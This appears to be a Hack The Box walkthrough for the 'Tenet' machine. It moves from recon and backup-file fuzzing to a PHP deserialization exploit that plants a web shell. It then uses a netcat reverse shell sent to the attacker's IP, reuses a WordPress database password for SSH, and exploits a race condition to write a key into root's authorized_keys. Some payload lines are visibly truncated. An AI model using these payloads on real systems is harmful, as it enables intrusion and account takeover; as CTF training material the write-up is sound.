tenet

Introduction:
Recon
Nmap scan
1eneloop@kinetic:.../hackthebox/tenet/data$ sudo nmap -sS -sV -sC -T4 -O -oN nmap.tenet.txt 10.10.10.223
2Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 21:41 EDT
3Nmap scan report for 10.10.10.223
4Host is up (0.082s latency).
5Not shown: 998 closed ports
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
10| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
11|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
1280/tcp open http Apache httpd 2.4.29 ((Ubuntu))
13|_http-server-header: Apache/2.4.29 (Ubuntu)
14|_http-title: Apache2 Ubuntu Default Page: It works
15No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
16TCP/IP fingerprint:
17OS:SCAN(V=7.91%E=4%D=4/7%OT=22%CT=1%CU=30910%PV=Y%DS=2%DC=I%G=Y%TM=606E5F79
18OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(
19OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
20OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
21OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
22OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
23OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
24OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
25OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
26OS:S)
27
28Network Distance: 2 hops
29Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
30
31OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
32Nmap done: 1 IP address (1 host up) scanned in 23.62 seconds
33
Enumeration

1eneloop@kinetic:/oscp/tools$ wpscan --url http://tenet.htb
2_______________________________________________________________
3 __ _______ _____
4 \ \ / / __ \ / ____|
5 \ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
6 \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
7 \ /\ / | | ____) | (__| (_| | | | |
8 \/ \/ |_| |_____/ \___|\__,_|_| |_|
9
10 WordPress Security Scanner by the WPScan Team
11 Version 3.8.11
12 Sponsored by Automattic - https://automattic.com/
13 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
14_______________________________________________________________
15
16[i] It seems like you have not updated the database for some time.
17Y
18[i] Updating the Database ...
19[i] Update completed.
20
21[+] URL: http://tenet.htb/ [10.10.10.223]
22[+] Started: Wed Apr 7 21:48:25 2021
23
24Interesting Finding(s):
25
26[+] Headers
27 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
28 | Found By: Headers (Passive Detection)
29 | Confidence: 100%
30
31[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php
32 | Found By: Direct Access (Aggressive Detection)
33 | Confidence: 100%
34 | References:
35 | - http://codex.wordpress.org/XML-RPC_Pingback_API
36 | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
37 | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
38 | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
39 | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
40
41[+] WordPress readme found: http://tenet.htb/readme.html
42 | Found By: Direct Access (Aggressive Detection)
43 | Confidence: 100%
44
45[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
46 | Found By: Direct Access (Aggressive Detection)
47 | Confidence: 100%
48
49[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php
50 | Found By: Direct Access (Aggressive Detection)
51 | Confidence: 60%
52 | References:
53 | - https://www.iplocation.net/defend-wordpress-from-ddos
54 | - https://github.com/wpscanteam/wpscan/issues/1299
55
56[+] WordPress version 5.6 identified (Outdated, released on 2020-12-08).
57 | Found By: Rss Generator (Passive Detection)
58 | - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
59 | - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>
60
61[+] WordPress theme in use: twentytwentyone
62 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/
63 | Last Updated: 2021-03-09T00:00:00.000Z
64 | Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
65 | [!] The version is out of date, the latest version is 1.2
66 | Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0
67 | Style Name: Twenty Twenty-One
68 | Style URI: https://wordpress.org/themes/twentytwentyone/
69 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
70 | Author: the WordPress team
71 | Author URI: https://wordpress.org/
72 |
73 | Found By: Css Style In Homepage (Passive Detection)
74 |
75 | Version: 1.0 (80% confidence)
76 | Found By: Style (Passive Detection)
77 | - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'
78
79[+] Enumerating All Plugins (via Passive Methods)
80
81[i] No plugins Found.
82
83[+] Enumerating Config Backups (via Passive and Aggressive Methods)
84 Checking Config Backups - Time: 00:00:00 <=========================================> (22 / 22) 100.00% Time: 00:00:00
85
86[i] No Config Backups Found.
87
88[!] No WPScan API Token given, as a result vulnerability data has not been output.
89[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
90
91[+] Finished: Wed Apr 7 21:48:30 2021
92[+] Requests Done: 62
93[+] Cached Requests: 5
94[+] Data Sent: 14.01 KB
95[+] Data Received: 16.4 MB
96[+] Memory used: 208.395 MB
97[+] Elapsed time: 00:00:05
98
Neil’s comment about sator.php Also, Rotas=sator because its TENET!

1eneloop@kinetic:/oscp/tools$ tail -1 /etc/hosts
210.10.10.223 tenet.htb rotas.htb sator.htb
3eneloop@kinetic:/oscp/tools$
4
Visit : http://rotas.htb/sator.php
Response is:
1[+] Grabbing users from text file
2[] Database updated
Which means, there may be text files that hold data/information that may be useful. Lets kick off directory scan for text files and see what we find.
1eneloop@kinetic:.../hackthebox/tenet/data$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://rotas.htb -x txt
2===============================================================
3Gobuster v3.0.1
4by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
5===============================================================
6[+] Url: http://rotas.htb
7[+] Threads: 10
8[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
9[+] Status codes: 200,204,301,302,307,401,403
10[+] User Agent: gobuster/3.0.1
11[+] Extensions: txt
12[+] Timeout: 10s
13===============================================================
142021/04/07 22:16:52 Starting gobuster
15===============================================================
16/users.txt (Status: 200)
17/wordpress (Status: 301)
18Progress: 5202 / 220561 (2.36%)
19
In Neil’s comments, he is asking about moving the sator php file and backup. This means there is a possibility that neil may have saved a file with other than .php extension and the server will not execute that. In that case, we should be able to download the file and examine.
Lets come up with typical extensions used by developers to create backups of the files on disk.
1eneloop@kinetic:.../hackthebox/tenet/data$ cat extensions.txt
2backup
3save
4old
5orig
6org
7bak
8bkp
9bkup
10eneloop@kinetic:.../hackthebox/tenet/data$ wfuzz -w extensions.txt http://rotas.htb/sator.php.FUZZ
11 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
12********************************************************
13* Wfuzz 3.1.0 - The Web Fuzzer *
14********************************************************
15
16Target: http://rotas.htb/sator.php.FUZZ
17Total requests: 8
18
19=====================================================================
20ID Response Lines Word Chars Payload
21=====================================================================
22
23000000001: 404 9 L 31 W 271 Ch "backup"
24000000002: 404 9 L 31 W 271 Ch "save"
25000000003: 404 9 L 31 W 271 Ch "old"
26000000008: 404 9 L 31 W 271 Ch "bkup"
27000000006: 200 31 L 70 W 514 Ch "bak"
28000000004: 404 9 L 31 W 271 Ch "orig"
29000000007: 404 9 L 31 W 271 Ch "bkp"
30000000005: 404 9 L 31 W 271 Ch "org"
31
32Total time: 0
33Processed Requests: 8
34Filtered Requests: 0
35Requests/sec.: 0
36
37
“bak” has an unusual response, when you access http://rotas.htb/sator.php.bak, you can download the backup file that neil was talking about in his comments.
Exploitation
Here is how the php script looks like. We have the “public function __destruct()” method which will automatically run at the program termination and we also see the insecure unserialize for the user input. Looks like we can exploit this vulnerability in this program by passing a malicious serialized object and writing a file that we can execute on the host.
1<?php
2
3class DatabaseExport
4{
5 public $user_file = 'users.txt';
6 public $data = '';
7
8 public function update_db()
9 {
10 echo '[+] Grabbing users from text file <br>';
11 $this-> data = 'Success';
12 }
13
14
15 public function __destruct()
16 {
17 file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
18 echo '[] Database updated <br>';
19 // echo 'Gotta get this working properly...';
20 }
21}
22
23$input = $_GET['arepo'] ?? '';
24$databaseupdate = unserialize($input);
25
26$app = new DatabaseExport;
27$app -> update_db();
28
29
30?>
31
32
Lets create our payload now by testing all of it locally-
Prepare payload locally
1eneloop@kinetic:.../hackthebox/tenet/data$ cat attack.php
2<?php
3
4class DatabaseExport
5{
6 public $user_file = 'wmxxx.php';
7 public $data = '<;
8 //public $arepo = 'uname -a';
9
10 public function update_db()
11 {
12 echo '[+] Grabbing users from text file <br>';
13 $this-> data = 'Success';
14 }
15}
16
17//$input = $_GET['arepo'] ?? '';
18//$databaseupdate = unserialize($input);
19//echo serialize($input)
20
21$app = new DatabaseExport;
22//$app -> update_db();
23echo htmlspecialchars(serialize($app));
24
25?>
26
Run a local php server : eneloop@kinetic:…/hackthebox/tenet/data$ php -S 127.0.0.1:8080
1http://127.0.0.1:8080/attack.php
2
3O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"wmxxx.php";s:4:"data";s:29:"<;}
4
Rename the sator.php.bak to sator.php locally and tryout your payload is working -
On browser visit -
http://127.0.0.1:8080/sator.php?arepo=O:14:%22DatabaseExport%22:2:{s:9:%22user_file%22;s:9:%22wmxxx.php%22;s:4:%22data%22;s:29:%22%22;}
1[+] Grabbing users from text file
2[] Database updated
3[] Database updated
Now, its should have written both users.txt as well as out wmxxx.php file with out backdoor.
1eneloop@kinetic:.../hackthebox/tenet/data$ ls -otr
2total 180
3drwxrwx--- 1 root 4096 Apr 7 21:39 payload
4-rwxrwx--- 1 root 1760 Apr 7 21:42 nmap.tenet.txt
5-rwxrwx--- 1 root 15694 Apr 7 21:45 box_header.png
6-rwxrwx--- 1 root 15251 Apr 7 21:45 box-thumb.png
7-rwxrwx--- 1 root 38418 Apr 7 21:46 neil-wordpress-home.png
8-rwxrwx--- 1 root 22612 Apr 7 21:47 sator-php.png
9-rwxrwx--- 1 root 107 Apr 11 09:30 customwords.txt
10-rwxrwx--- 1 root 38 Apr 11 09:37 extensions.txt
11-rwxrwx--- 1 root 514 Apr 11 09:45 sator.php.bak
12-rwxrwx--- 1 root 46694 Apr 11 09:46 sator-bakup.png
13-rwxrwx--- 1 root 514 Apr 11 10:27 sator.php
14-rwxrwx--- 1 root 462 Apr 11 10:38 attack.php
15-rwxrwx--- 1 root 29 Apr 11 10:39 wmxxx.php
16-rwxrwx--- 1 root 7 Apr 11 10:39 users.txt
17eneloop@kinetic:.../hackthebox/tenet/data$ cat wmxxx.php
18<eneloop@kinetic:.../hackthebox/tenet/data$
19
Let’s test this locally and then proceed to actual exploit -
On browser -
1http://127.0.0.1:8080/wmxxx.php?wm=uname%20-a
2
3Linux kinetic 5.9.0-kali4-amd64 #1 SMP Debian 5.9.11-1kali1 (2020-12-01) x86_64 GNU/Linux
4
it works!
Repeat this against the actual web server!

Lets read the /etc/passwd file on the target machine -

Now, lets send a reverse shell to the target host so we can get the initial foothold as www-data user and then we can try to migrate laterally to neil account.
1eneloop@kinetic:.../hackthebox/tenet/data$ cat revsh.php
2<?php
3passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.3 4444 >/tmp/f");
4?>
5eneloop@kinetic:.../hackthebox/tenet/data$
6
Access : http://rotas.htb/wmxxx.php?wm=wget%20%22http://10.10.14.3:8000/revsh.php%22
Now, access the reverse shell and catch it by putting up a listener on the attack machine.
Post-exploit/PrivEsc
1$ ls -l
2total 36
3-rw-r--r-- 1 www-data www-data 10918 Dec 16 11:19 index.html
4-rw-r--r-- 1 www-data www-data 105 Apr 11 15:51 revsh.php
5-rwxr-xr-x 1 www-data www-data 514 Dec 17 09:40 sator.php
6-rwxr-xr-x 1 www-data www-data 514 Dec 17 09:52 sator.php.bak
7-rw-r--r-- 1 www-data www-data 7 Apr 11 14:49 users.txt
8-rw-r--r-- 1 www-data www-data 29 Apr 11 14:49 wmxxx.php
9drwxr-xr-x 5 www-data www-data 4096 Apr 11 13:43 wordpress
10$ cd wordpress
11
12$ pwd
13/var/www/html/wordpress
14$
15
wp-config.php should have som passwords, lets investigate. We see here that there is a user matching OS user neil and the db password could be neil’s OS password, lets try that for SSH.
1/** MySQL database username */
2define( 'DB_USER', 'neil' );
3
4/** MySQL database password */
5define( 'DB_PASSWORD', 'OXXXXXXXXXXXXX2' );
6
SSH into the machine as neil and provide password we got above.
1eneloop@kinetic:.../hackthebox/tenet/data$ ssh tenet.htb -l neil
2The authenticity of host 'tenet.htb (10.10.10.223)' can't be established.
3ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE.
4Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
5Warning: Permanently added 'tenet.htb,10.10.10.223' (ECDSA) to the list of known hosts.
6[email protected]'s password:
7Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
8
9 * Documentation: https://help.ubuntu.com
10 * Management: https://landscape.canonical.com
11 * Support: https://ubuntu.com/advantage
12
13 System information as of Sun Apr 11 16:05:36 UTC 2021
14
15 System load: 0.0 Processes: 175
16 Usage of /: 15.1% of 22.51GB Users logged in: 0
17 Memory usage: 10% IP address for ens160: 10.10.10.223
18 Swap usage: 0%
19
20
2153 packages can be updated.
2231 of these updates are security updates.
23To see these additional updates run: apt list --upgradable
24
25
26Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3
27neil@tenet:~$
28
29
It worked!
User flag
Get the user flag from neil’s home directory.
1neil@tenet:~$ ls -l
2total 4
3-r-------- 1 neil neil 33 Apr 11 13:26 user.txt
4neil@tenet:~$
Privesc
Now, we need to escalate our access to root. Lets find out more about neil by investigating his group memberships, sudo access and if he has any sensitive information saved on the host.
Looks like neil has sudo access and he can run “/usr/local/bin/enableSSH.sh” as root, this could be our way to get priv escalation.
1neil@tenet:~$ sudo -l
2Matching Defaults entries for neil on tenet:
3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
4
5User neil may run the following commands on tenet:
6 (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
7neil@tenet:~$
8
9
The enableSSH is using “mktemp -u SSH-XXXXXXX” to generate a randomized name for a temporary file which is being used to copy the root public key into the authorized keys file.
Generate a key pair for neil and note the public key. If we are able to write to the temporary file after it was generated and before it was copied into the authorized key of the root user, we may get access to the root user.
Lets start a while loop to overwrite all SSH-* type files in /tmp with neil’s key and try running the enableSSH script in a different window.
1neil@tenet:/tmp$ while true
2> do
3> echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6G+wSIUxbYcEV28VSOSOKG7vino0x6GTjgkWtsAxZPch9b4TMipQdS4T9uqBvYdsAiusFB0MYZyEsq/WIjFo5IsZOIUJBZS4o2k9ME0ejOSOzdEVz2CqkKdBBjb7h3wTFDFOGwA6mmqtNxEpryQrZRV9K7S/uMBsGwWOCpVrd2MrbP0pVSr6W8tJ5dH4eBRn+NzqnFKARi3WftY8aCZ1OOovgmx8nxxOsNAbT45AJszSFZk9CYR96QR7oYqwCjVV/ieL83gcGDrocTA501dFNW8521q/vMpq4yoHGQ2mE1TS0VMgJsfH7G8dmEibBIqhSFDeoKKc9j0ky0Zwcdp2N neil@tenet" | tee /tmp/ssh-* >/dev/null;
4> done
5
And now, lets run this script in a loop until neil’s key is added
for i in {1..1000} ; do sudo /usr/local/bin/enableSSH.sh; done
1neil@tenet:~$ ssh root@localhost
2Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
3
4 * Documentation: https://help.ubuntu.com
5 * Management: https://landscape.canonical.com
6 * Support: https://ubuntu.com/advantage
7
8 System information disabled due to load higher than 2.0
9
10
1153 packages can be updated.
1231 of these updates are security updates.
13To see these additional updates run: apt list --upgradable
14
15Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
16
17
18Last login: Thu Feb 11 14:37:46 2021
19root@tenet:~#
20
Finally! It took a couple of tries before we could write the desired public key into the authorized keys of the root user and now we have access to root!
Notes: - Read about SSH PKI setup and use of authorized keys for passwordless access - PHP serialization issues and similar issues in python and java.